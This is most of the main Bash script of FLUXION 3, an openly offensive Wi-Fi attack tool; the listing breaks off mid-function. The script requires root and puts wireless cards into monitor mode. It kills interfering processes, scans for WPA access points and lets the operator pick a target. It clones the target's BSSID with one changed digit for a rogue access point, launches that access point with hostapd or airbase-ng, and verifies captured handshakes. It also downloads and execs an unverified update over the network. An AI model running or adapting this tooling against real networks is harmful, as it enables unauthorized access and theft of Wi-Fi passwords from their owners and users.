fluxion/fluxion.sh

1000 lines
31 KiB
Bash
Executable File

#!/bin/bash
################################ < FLUXION Parameters > ################################
# NOTE: The FLUXIONPath constant will not be populated correctly if the script is called
# directly via a symlink. Symlinks in the path to the script should work completely fine.
FLUXIONPath="$( cd "$(dirname "$0")" ; pwd -P )"
FLUXIONWorkspacePath="/tmp/fluxspace"
FLUXIONHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes"
FLUXIONScanDB="dump"
FLUXIONNoiseFloor=-90
FLUXIONNoiseCeiling=-60
FLUXIONVersion=3
FLUXIONRevision=0
FLUXIONDebug=${FLUXIONDebug:+1}
FLUXIONDropNet=${FLUXIONDropNet:+1}
FLUXIONAuto=${FLUXION_AUTO:+1}
# FLUXIONDebug [Normal Mode "" / Developer Mode 1]
export FLUXIONOutputDevice=$([ $FLUXIONDebug ] && echo "/dev/stdout" || echo "/dev/null")
FLUXIONHoldXterm=$([ $FLUXIONDebug ] && echo "-hold" || echo "")
################################# < Shell Color Codes > ################################
CRed="\033[1;31m"
CGrn="\033[1;32m"
CYel="\033[1;33m"
CBlu="\033[1;34m"
CPrp="\033[5;35m"
CCyn="\033[5;36m"
CGry="\033[0;37m"
CWht="\033[1;37m"
CClr="\e[0m"
################################ < FLUXION Parameters > ################################
FLUXIONPrompt="$CRed[${CBlu}fluxion$CYel@$CClr$HOSTNAME$CRed]-[$CYel~$CRed]$CClr "
FLUXIONVLine="$CRed[$CYel*$CRed]$CClr"
################################# < Library Includes > #################################
source lib/SandboxUtils.sh
source lib/IOUtils.sh
source lib/HashUtils.sh
source language/English.lang
################################ < Library Parameters > ################################
SandboxWorkspacePath="$FLUXIONWorkspacePath"
SandboxOutputDevice="$FLUXIONOutputDevice"
IOUtilsHeader="fluxion_header"
IOUtilsQueryMark="$FLUXIONVLine"
IOUtilsPrompt="$FLUXIONPrompt"
HashOutputDevice="$FLUXIONOutputDevice"
########################################################################################
if [[ $EUID -ne 0 ]]; then
echo -e "${CRed}You don't have admin privilegies, execute the script as root.$CClr"
exit 1
fi
if [ -z "${DISPLAY:-}" ]; then
echo -e "${CRed}The script should be exected inside a X (graphical) session.$CClr"
exit 1
fi
function exitmode() {
if [ ! $FLUXIONDebug ]; then
fluxion_header
echo -e "\n\n$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr"
local processes
readarray processes < <(ps -A)
# Currently, fluxion is only responsible for killing airodump-ng,
# since it uses it to scan for candidate target access points.
# Everything else should be taken care of by the custom attack abort handler.
local targets=("airodump-ng")
local targetID # Program identifier/title
for targetID in "${targets[@]}"; do
# Get PIDs of all programs matching targetPID
local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}')
if [ ! "$targetPID" ]; then continue; fi
echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`"
killall $targetPID &> $FLUXIONOutputDevice
done
if [ "$WIAccessPoint" ]; then
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingExtraInterfacesNotice$CGrn $WIAccessPoint$CClr"
iw dev $WIAccessPoint del &> $FLUXIONOutputDevice
fi
if [ "$WIMonitor" ]; then
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr"
airmon-ng stop $WIMonitor &> $FLUXIONOutputDevice
fi
#if [ "`cat /proc/sys/net/ipv4/ip_forward`" != "0" ]; then
# echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingPacketForwardingNotice$CClr"
# sysctl -w net.ipv4.ip_forward=0 &> $FLUXIONOutputDevice
#fi
#echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingCleaningIPTablesNotice$CClr"
#if [ ! -f "$FLUXIONWorkspacePath/iptables-rules" ];then
# iptables --flush
# iptables --table nat --flush
# iptables --delete-chain
# iptables --table nat --delete-chain
#else
# iptables-restore < "$FLUXIONWorkspacePath/iptables-rules"
#fi
echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr"
tput cnorm
if [ ! $FLUXIONDebug ]; then
echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr"
sandbox_remove_workfile "$FLUXIONWorkspacePath/*"
fi
if [ $FLUXIONDropNet ]; then
echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr"
# systemctl check
systemd=$(whereis systemctl)
if [ "$systemd" = "" ];then
service network-manager restart &> $FLUXIONOutputDevice &
service networkmanager restart &> $FLUXIONOutputDevice &
service networking restart &> $FLUXIONOutputDevice &
else
systemctl restart NetworkManager &> $FLUXIONOutputDevice &
fi
fi
echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr"
echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr"
sleep 2
clear
fi
exit
}
# Delete log only in Normal Mode !
function conditional_clear() {
# Clear iff we're not in debug mode
if [ ! $FLUXIONDebug ]; then clear; fi
}
function conditional_bail() {
echo "Something went wrong, whoops!"; sleep 5
if [ ! $FLUXIONDebug ]; then exitmode; return 0; fi
echo "Press any key to continue execution..."
read bullshit
}
function check_updates() {
# Attempt to retrieve versioning information from repository script.
local FLUXIONOnlineInfo=("`timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" 2>/dev/null | egrep "^(FLUXIONVersion|FLUXIONRevision)"`")
if [ -z "${FLUXIONOnlineInfo[@]}" ]; then
FLUXIONOnlineInfo=("version=?\n" "revision=?\n")
fi
echo -e "${FLUXIONOnlineInfo[@]}" > "$FLUXIONWorkspacePath/latest_version"
}
# Animation
function spinner() {
local pid=$1
local delay=0.15
local spinstr='|/-\'
tput civis
while [ "`ps a | awk '{print $1}' | grep $pid`" ]; do
local temp=${spinstr#?}
printf " [%c] " "$spinstr"
local spinstr=$temp${spinstr%"$temp"}
sleep $delay
printf "\b\b\b\b\b\b"
done
printf " \b\b\b\b"
tput cnorm
}
# ERROR Report only in Developer Mode
function error_report() {
echo "Error on line $1"
}
if [ "$FLUXIONDebug" ]; then
trap 'error_report $LINENUM' ERR
fi
function handle_abort_attack() {
if [ $(type -t stop_attack) ]; then
stop_attack &> $FLUXIONOutputDevice
else
echo "Attack undefined, can't stop anything..." > $FLUXIONOutputDevice
fi
}
# In case an abort signal is received,
# abort any attacks currently running.
trap handle_abort_attack SIGABRT
function handle_exit() {
handle_abort_attack
exitmode
}
# In case of unexpected termination, run exitmode
# to execute cleanup and reset commands.
trap handle_exit SIGINT SIGHUP
# Design
function fluxion_header() {
conditional_clear
local headerWidth=$(($(tput cols) - 2))
local headerMessage="${CRed}FLUXION $FLUXIONVersion ${CRed}< F${CYel}luxion ${CRed}I${CYel}s ${CRed}T${CYel}he ${CRed}F${CYel}uture >"
local headerMessageEscaped=$(echo "$headerMessage" | sed -r 's/\\(e|033)\[[0-9];?[0-9]*m//g')
local headerMessageWidth=${#headerMessageEscaped}
local headerMessagePadding=$(($(($headerWidth - $headerMessageWidth)) / 2))
echo -e "`printf "$CRed[%${headerWidth}s]\n" "" | sed -r "s/ /~/g"`"
echo -e "`printf "$CRed[%${headerWidth}s]\n" ""`"
echo -e "`printf "$CRed[%${headerMessagePadding}s%b%${headerMessagePadding}s$CBlu]\n" "" "$headerMessage" ""`"
echo -e "`printf "$CBlu[%${headerWidth}s]\n" ""`"
echo -e "`printf "$CBlu[%${headerWidth}s]\n$CClr" "" | sed -r "s/ /~/g"`"
}
####################################### < Start > ######################################
function check_dependencies() {
local CLITools=("aircrack-ng" "aireplay-ng" "airmon-ng" "airodump-ng" "airbase-ng" "awk" "curl" "dhcpd" "hostapd" "iwconfig" "lighttpd" "macchanger" "mdk3" "nmap" "php-cgi" "pyrit" "unzip" "xterm" "openssl" "rfkill" "strings" "fuser" "seq" "sed")
local CLIToolsMissing
for CLITool in ${CLITools[*]}; do
# Could use parameter replacement, but requires extra variable.
echo -ne "$FLUXIONVLine `printf "%-64s" "$CLITool" | sed 's/ /./g'`"
if ! hash $CLITool 2>/dev/null; then
echo -e "$CRed Missing!$CClr"
CLIToolsMissing=1
else
echo -e ".....$CGrn OK.$CClr"
fi
sleep 0.025
done
if [ $CLIToolsMissing ]; then
exit 1
fi
sleep 1
}
# Create working directory
if [ ! -d "$FLUXIONWorkspacePath" ]; then
mkdir -p "$FLUXIONWorkspacePath" &> $FLUXIONOutputDevice
fi
if [ ! $FLUXIONDebug ]; then
clear; echo
sleep 0.01 && echo -e "$CRed "
sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ "
sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ "
sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ "
sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ "
sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ "
sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ "
echo
sleep 0.1
echo -e "$CRed FLUXION $CWht$FLUXIONVersion (rev. $CGrn$FLUXIONRevision$CWht)$CYel by$CWht ghost"
sleep 0.1
echo -e "$CGrn Site: ${CRed}https://github.com/FluxionNetwork/fluxion$CClr"
sleep 0.1
echo -n " Online Version"
check_updates &
spinner "$!"
if [ -f "$FLUXIONWorkspacePath/latest_version" -a \
-s "$FLUXIONWorkspacePath/latest_version" ]; then
mapfile FLUXIONOnlineInfo < "$FLUXIONWorkspacePath/latest_version"
FLUXIONOnlineVersion=$(echo "${FLUXIONOnlineInfo[@]}" | awk -F= 'tolower($1)~/version/{print $2}')
FLUXIONOnlineRevision=$(echo "${FLUXIONOnlineInfo[@]}" | awk -F= 'tolower($1)~/revision/{print $2}')
else
FLUXIONOnlineVersion="?"
FLUXIONOnlineRevision="?"
fi
echo -e "$CClr [$CPrp$FLUXIONOnlineVersion.$FLUXIONOnlineRevision$CClr]"
if [ ! -z "${FLUXIONOnlineVersion[@]}" -a \
"$FLUXIONOnlineVersion" != "?" -a \
"$FLUXIONOnlineRevision" != "?" ]; then
if [ "$FLUXIONOnlineVersion" -gt "$FLUXIONVersion" -o \
"$FLUXIONOnlineVersion" -eq "$FLUXIONVersion" -a \
"$FLUXIONOnlineRevision" -gt "$FLUXIONRevision" ]; then
echo
echo
echo -ne $CRed" New revision found! "$CYel
echo -ne "Update? [Y/n]: "$CClr
read -N1 doupdate
echo -ne "$CClr"
doupdate=${doupdate:-"Y"}
if [ "$doupdate" = "Y" ]; then
cp $0 $HOME/flux_rev-$FLUXIONRevision.backup
curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0
echo
echo
echo -e ""$CRed"Updated successfully! Restarting the script to apply the changes ..."$CClr""
sleep 3
chmod +x $0
exec $0
exit
fi
fi
fi
echo
sleep 1
fi
#################################### < Resolution > ####################################
# Windows + Resolution
function set_resolution() {
function resA() {
TOPLEFT="-geometry 90x13+0+0"
TOPRIGHT="-geometry 83x26-0+0"
BOTTOMLEFT="-geometry 90x24+0-0"
BOTTOMRIGHT="-geometry 75x12-0-0"
TOPLEFTBIG="-geometry 91x42+0+0"
TOPRIGHTBIG="-geometry 83x26-0+0"
}
function resB() {
TOPLEFT="-geometry 92x14+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 92x36+0-0"
BOTTOMRIGHT="-geometry 74x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 74x30-0+0"
}
function resC() {
TOPLEFT="-geometry 100x20+0+0"
TOPRIGHT="-geometry 109x20-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 109x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 109x30-0+0"
}
function resD() {
TOPLEFT="-geometry 110x35+0+0"
TOPRIGHT="-geometry 99x40-0+0"
BOTTOMLEFT="-geometry 110x35+0-0"
BOTTOMRIGHT="-geometry 99x30-0-0"
TOPLEFTBIG="-geometry 110x72+0+0"
TOPRIGHTBIG="-geometry 99x40-0+0"
}
function resE() {
TOPLEFT="-geometry 130x43+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 130x40+0-0"
BOTTOMRIGHT="-geometry 132x35-0-0"
TOPLEFTBIG="-geometry 130x85+0+0"
TOPRIGHTBIG="-geometry 132x48-0+0"
}
function resF() {
TOPLEFT="-geometry 100x17+0+0"
TOPRIGHT="-geometry 90x27-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 90x20-0-0"
TOPLEFTBIG="-geometry 100x70+0+0"
TOPRIGHTBIG="-geometry 90x27-0+0"
}
detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
## A) 1024x600
## B) 1024x768
## C) 1280x768
## D) 1280x1024
## E) 1600x1200
case $detectedresolution in
"1024x600" ) resA ;;
"1024x768" ) resB ;;
"1280x768" ) resC ;;
"1366x768" ) resC ;;
"1280x1024" ) resD ;;
"1600x1200" ) resE ;;
"1366x768" ) resF ;;
* ) resA ;;
esac
}
##################################### < Language > #####################################
function set_language() {
if [ ! $FLUXIONAuto ]; then
# Get all language files available.
local languages=(language/*.lang)
# Strip entries of "language/" and ".lang"
languages=(${languages[@]/language\//})
languages=(${languages[@]/.lang/})
io_query_choice "Select your language" languages[@]
source "$FLUXIONPath/language/$IOQueryChoice.lang"
echo
fi
}
#################################### < Interfaces > ####################################
function unset_interface() {
# Unblock interfaces to make them available.
echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice"
rfkill unblock all
# Find all monitor-mode interfaces & all AP interfaces.
echo -e "$FLUXIONVLine $FLUXIONFindingExtraWINotice"
WIMonitors=($(iwconfig 2>&1 | grep "Mode:Monitor" | awk '{print $1}'))
# Remove all monitor-mode & all AP interfaces.
echo -e "$FLUXIONVLine $FLUXIONRemovingExtraWINotice"
if [ ${#WIMonitors[@]} -gt 0 ]; then
for monitor in ${WIMonitors[@]}; do
# Replace interface's mon with ap & remove interface.
iw dev ${monitor/mon/ap} del 2> $FLUXIONOutputDevice
# Remove monitoring interface after AP interface.
airmon-ng stop $monitor > $FLUXIONOutputDevice
if [ $FLUXIONDebug ]; then
echo -e "Stopped $monitor."
fi
done
fi
WIMonitor=""
WIAccessPoint=""
}
# Choose Interface
function set_interface() {
if [ "$WIMonitor" -a "$WIAccessPoint" ]; then return 0; fi
unset_interface
# Gather candidate interfaces.
echo -e "$FLUXIONVLine $FLUXIONFindingWINotice"
# Create an array with the list of all available wireless network interfaces.
local WIAvailableData
readarray -t WIAvailableData < <(airmon-ng | grep -P 'wl(an\d+|\w+)' | sed -r 's/[ ]{2,}|\t+/:_:/g')
local WIAvailableDataCount=${#WIAvailableData[@]}
local WIAvailable=()
local WIAvailableInfo=()
local WIAvailableColor=()
for (( i = 0; i < WIAvailableDataCount; i++ )); do
local data="${WIAvailableData[i]}"
WIAvailable[i]=$(echo "$data" | awk -F':_:' '{print $2}')
WIAvailableInfo[i]=$(echo "$data" | awk -F':_:' '{print $4}')
if [ "`ifconfig ${WIAvailable[i]} | grep "RUNNING"`" ]; then
WIAvailableColor[i]="$CPrp"
WIAvailableState[i]="-"
else
WIAvailableColor[i]="$CClr"
WIAvailableState[i]="+"
fi
done
WIAvailable[${#WIAvailable[@]}]="$FLUXIONGeneralRepeatOption"
WIAvailableColor[${#WIAvailableColor[@]}]="$CClr" # (Increases record count)
WIAvailableState[${#WIAvailableState[@]}]="x"
local WISelected
local WISelectedState
if [ $WIAvailableDataCount -eq 1 -a ${WIAvailableState[0]} = '+' ]; then
WISelected="${WIAvailable[0]}"
else
io_query_format_fields "$FLUXIONVLine $FLUXIONInterfaceQuery" \
"$CRed[$CYel%d$CRed]%b %-8b [%1s] %s\n" \
WIAvailableColor[@] WIAvailable[@] WIAvailableState[@] WIAvailableInfo[@]
WISelected="${IOQueryFormatFields[1]}"
WISelectedState="${IOQueryFormatFields[2]}"
echo
fi
if [ "$WISelected" = "$FLUXIONGeneralRepeatOption" ]; then
unset_interface; return 1
fi
if [ ! "$FLUXIONDropNet" -a "$WISelectedState" = "-" ]; then
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError"
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip"
sleep 7; unset_interface; return 1;
fi
# Get selected interface's driver details/info-descriptor.
echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"
WIDriver=$(airmon-ng | grep $WISelected | awk '{print $3}')
if [ $FLUXIONDropNet ]; then
# I'm not really sure about this conditional here.
# FLUXION 2 had the conditional so I kept it there.
if [ ! "$(echo $WIDriver | egrep 'rt2800|rt73')" ]; then
rmmod -f $WIDriver &> $FLUXIONOutputDevice 2>&1
fi
# Get list of potentially troublesome programs.
echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice"
ConflictPrograms=($(airmon-ng check | awk 'NR>6{print $2}'))
# Kill potentially troublesome programs.
echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice"
for program in "${ConflictPrograms[@]}"; do
killall "$program" &> $FLUXIONOutputDevice
done
sleep 0.5
# I'm not really sure about this conditional here.
# FLUXION 2 had the conditional so I kept it there.
if [ ! "$(echo $WIDriver | egrep 'rt2800|rt73')" ]; then
modprobe "$WIDriver" &> $FLUXIONOutputDevice 2>&1
sleep 0.5
fi
fi
run_interface
if [ $? -ne 0 ]; then return 1; fi
}
function run_interface() {
# Activate wireless interface monitor mode and save identifier.
echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice"
WIMonitor=$(airmon-ng start $WISelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2> /dev/null)
# Create an identifier for the access point, AP virtual interface.
# The identifier will follow this structure: wlanXap, where X is
# the integer assigned to the original interface, wlanXmon.
# In alternative systems, the strcture is: wl*ap and wl*mon.
WIAccessPoint=${WIMonitor/mon/ap}
# Create the new virtual interface with the generated identifier.
echo -e "$FLUXIONVLine $FLUXIONStartingWIAccessPointNotice"
if [ `iw dev $WIMonitor interface add $WIAccessPoint type monitor` ]; then
echo -e "$FLUXIONCannotStartWIAccessPointError"
sleep 5
return 1
fi
}
###################################### < Scanner > #####################################
function set_scanner() {
# If scanner's already been set and globals are ready, we'll skip setup.
if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \
"$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then
return 0
fi
if [ $FLUXIONAuto ];then
run_scanner $WIMonitor
else
local choices=("$FLUXIONScannerChannelOptionAll" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption")
io_query_choice "$FLUXIONScannerChannelQuery" choices[@]
echo
case "$IOQueryChoice" in
"$FLUXIONScannerChannelOptionAll") run_scanner $WIMonitor;;
"$FLUXIONScannerChannelOptionSpecific") set_scanner_channel;;
"$FLUXIONGeneralBackOption") unset_interface; return 1;;
esac
fi
if [ $? -ne 0 ]; then return 1; fi
}
function set_scanner_channel() {
fluxion_header
echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery"
echo
echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr "
echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr "
echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr "
echo
echo -ne "$FLUXIONPrompt"
local channels
read channels
echo
run_scanner $WIMonitor $channels
if [ $? -ne 0 ]; then return 1; fi
}
# Parameters: monitor [channel(s)]
function run_scanner() {
echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice"
# Remove any pre-existing scanner results.
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
local monitor=$1
local channels=$2
if [ $FLUXIONAuto ]; then
sleep 30 && killall xterm &
fi
if [ "$channels" ]; then local channelsQuery="--channel $channels"; fi
# Begin scanner and output all results to "dump-01.csv."
xterm $FLUXIONHoldXterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -at WPA $channelsQuery -w "$FLUXIONWorkspacePath/dump" $monitor
local scannerResultsExist=$([ -f "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true)
local scannerResultsReadable=$([ -s "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true)
if [ ! "$scannerResultsReadable" ]; then
if [ "$scannerResultsExist" ]; then
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
fi
local choices=("$FLUXIONGeneralBackOption" "$FLUXIONGeneralExitOption")
io_query_choice "$FLUXIONScannerFailedNotice" choices[@]
case "$IOQueryChoice" in
"$FLUXIONGeneralBackOption") return 1;;
"$FLUXIONGeneralExitOption") exitmode; return 2;;
esac
fi
# Syntheize scan operation results from output file "dump-01.csv."
echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice"
# Unfortunately, mawk (alias awk) does not support the {n} times matching operator.
# readarray TargetAPCandidates < <(gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
# readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
# Cleanup the workspace to prevent potential bugs/conflicts.
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
if [ ${#TargetAPCandidates[@]} -eq 0 ]; then
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice"
sleep 3; return 1
fi
}
###################################### < Target > ######################################
function unset_target_ap() {
APTargetSSID=""
APTargetChannel=""
APTargetEncryption=""
APTargetMAC=""
APTargetMakerID=""
APTargetMaker=""
APRogueMAC=""
}
function set_target_ap() {
if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \
"$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then
return 0
fi
unset_target_ap
local TargetAPCandidatesMAC=()
local TargetAPCandidatesClientsCount=()
local TargetAPCandidatesChannel=()
local TargetAPCandidatesSecurity=()
local TargetAPCandidatesSignal=()
local TargetAPCandidatesPower=()
local TargetAPCandidatesESSID=()
local TargetAPCandidatesColor=()
for candidateAPInfo in "${TargetAPCandidates[@]}"; do
candidateAPInfo=$(echo "$candidateAPInfo" | sed -r "s/,\s*/,/g")
local i=${#TargetAPCandidatesMAC[@]}
TargetAPCandidatesMAC[i]=$(echo $candidateAPInfo | cut -d , -f 1)
TargetAPCandidatesClientsCount[i]=$(echo "${TargetAPCandidatesClients[@]}" | grep -c "${TargetAPCandidatesMAC[i]}")
TargetAPCandidatesChannel[i]=$(echo $candidateAPInfo | cut -d , -f 4)
TargetAPCandidatesSecurity[i]=$(echo $candidateAPInfo | cut -d , -f 6)
TargetAPCandidatesPower[i]=$(echo $candidateAPInfo | cut -d , -f 9)
TargetAPCandidatesESSID[i]=$(echo $candidateAPInfo | cut -d , -f 14)
TargetAPCandidatesColor[i]=$([ ${TargetAPCandidatesClientsCount[i]} -gt 0 ] && echo $CGrn || echo $CClr)
local power=${TargetAPCandidatesPower[i]}
if [ $power -eq -1 ]; then
# airodump-ng's man page says -1 means unsupported value.
TargetAPCandidatesQuality[i]="??";
elif [ $power -le $FLUXIONNoiseFloor ]; then
TargetAPCandidatesQuality[i]=0;
elif [ $power -gt $FLUXIONNoiseCeiling ]; then
TargetAPCandidatesQuality[i]=100;
else
# Bash doesn't support floating point division, so I gotta work around it...
# The function is Q = ((P - F) / (C - F)); Q - quality, P - power, F - floor, C - Ceiling.
TargetAPCandidatesQuality[i]=$((( ${TargetAPCandidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10 ) / ( ( $FLUXIONNoiseCeiling - $FLUXIONNoiseFloor ) / 10 ) ))
fi
done
local bashWidth=$(tput cols)
local ssidWidth=$(($bashWidth - 52))
local headWidth=$(($bashWidth / 2 + 4))
local header=$(printf "%${headWidth}s\n\n$CRed[$CYel * $CRed]$CClr %-${ssidWidth}s %4s %3s %3s %4s %8s %18s\n" "WIFI LIST" "SSID" "QLTY" "PWR" "CL" "CH" "SECURITY" "MAC ADDRESS")
io_query_format_fields "$header" "$CRed[$CYel%03d$CRed]%b %-${ssidWidth}s %3s%% %3s %3d %4s %8s %18s\n" \
TargetAPCandidatesColor[@] \
TargetAPCandidatesESSID[@] \
TargetAPCandidatesQuality[@] \
TargetAPCandidatesPower[@] \
TargetAPCandidatesClientsCount[@] \
TargetAPCandidatesChannel[@] \
TargetAPCandidatesSecurity[@] \
TargetAPCandidatesMAC[@]
APTargetSSID=${IOQueryFormatFields[1]}
APTargetChannel=${IOQueryFormatFields[5]}
APTargetEncryption=${IOQueryFormatFields[6]}
APTargetMAC=${IOQueryFormatFields[7]}
APTargetMakerID=${APTargetSSID:0:8}
APTargetMaker=$(macchanger -l | grep ${APTargetMakerID,,})
# Remove any special characters allowed in WPA2 ESSIDs for normalization.
# Removing: ' ', '[', ']', '(', ')', '*', ':'
APTargetSSIDClean="`echo "$APTargetSSID" | sed -r 's/( |\[|\]|\(|\)|\*|:)*//g'`"
# We'll change a single hex digit from the target AP's MAC address.
# This new MAC address will be used as the rogue AP's MAC address.
local APRogueMACChange=$(printf %02X $((0x${APTargetMAC:13:1} + 1)))
APRogueMAC="${APTargetMAC::13}${APRogueMACChange:1:1}${APTargetMAC:14:4}"
}
function view_target_ap_info() {
echo -e " "$CBlu" SSID"$CClr": $APTargetSSID / $APTargetEncryption"
echo -e " "$CBlu"Channel"$CClr": $APTargetChannel"
#echo -e " "$CBlu" Speed"$CClr": ${speed:2} Mbps"
echo -e " "$CBlu" BSSID"$CClr": $APTargetMAC ($CYel${APTargetMaker:-UNKNOWN}$CClr)"
echo
}
#################################### < AP Service > ####################################
function unset_ap_service() {
APRogueService="";
}
function set_ap_service() {
if [ "$APRogueService" ]; then return 0; fi
unset_ap_service
if [ $FLUXIONAuto ]; then
# airbase-ng isn't compatible with dhcpd, since airbase-ng sets
# the wireless interface in monitor mode, which dhcpd rejects.
# hostapd works, because it bring the interface into master mode,
# which dhcpd works perfecly fine with.
APRogueService="hostapd";
else
fluxion_header
echo -e "$FLUXIONVLine $FLUXIONAPServiceQuery"
echo
view_target_ap_info
local choices=("$FLUXIONAPServiceHostapdOption" "$FLUXIONAPServiceAirbaseOption" "$FLUXIONGeneralBackOption")
io_query_choice "" choices[@]
case "$IOQueryChoice" in
"$FLUXIONAPServiceHostapdOption" ) APRogueService="hostapd";;
"$FLUXIONAPServiceAirbaseOption" ) APRogueService="airbase-ng";;
"$FLUXIONGeneralBackOption" ) unset_ap_service; return 1;;
* ) conditional_bail; return 1;;
esac
fi
# AP Service: Load the service's helper routines.
source "lib/ap/$APRogueService.sh"
}
###################################### < Hashes > ######################################
function check_hash() {
if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then
echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError"
sleep 3
return 1;
fi
fluxion_header
echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery"
echo
view_target_ap_info
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
io_query_choice "" choices[@]
local verifier
case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit";;
"$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng";;
"$FLUXIONGeneralBackOption") return 1;;
esac
hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" > $FLUXIONOutputDevice
local hashResult=$?
# A value other than 0 means there's an issue with the hash.
if [ $hashResult -ne 0 ]
then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError"
else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice"
fi
sleep 3
if [ $hashResult -ne 0 ]; then return 1; fi
}
function set_hash_path() {
fluxion_header
echo
echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery"
echo
echo -ne "$FLUXIONAbsolutePathInfo: "
read APTargetHashPath
}
function unset_hash() {
APTargetHashPath=""
}
function set_hash() {
if [ "$APTargetHashPath" ]; then return 0; fi
unset_hash
# Scan for an existing hash for potential use, if one exists,
# ask the user if we should use it, or to skip it.
if [ -f "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" -a \
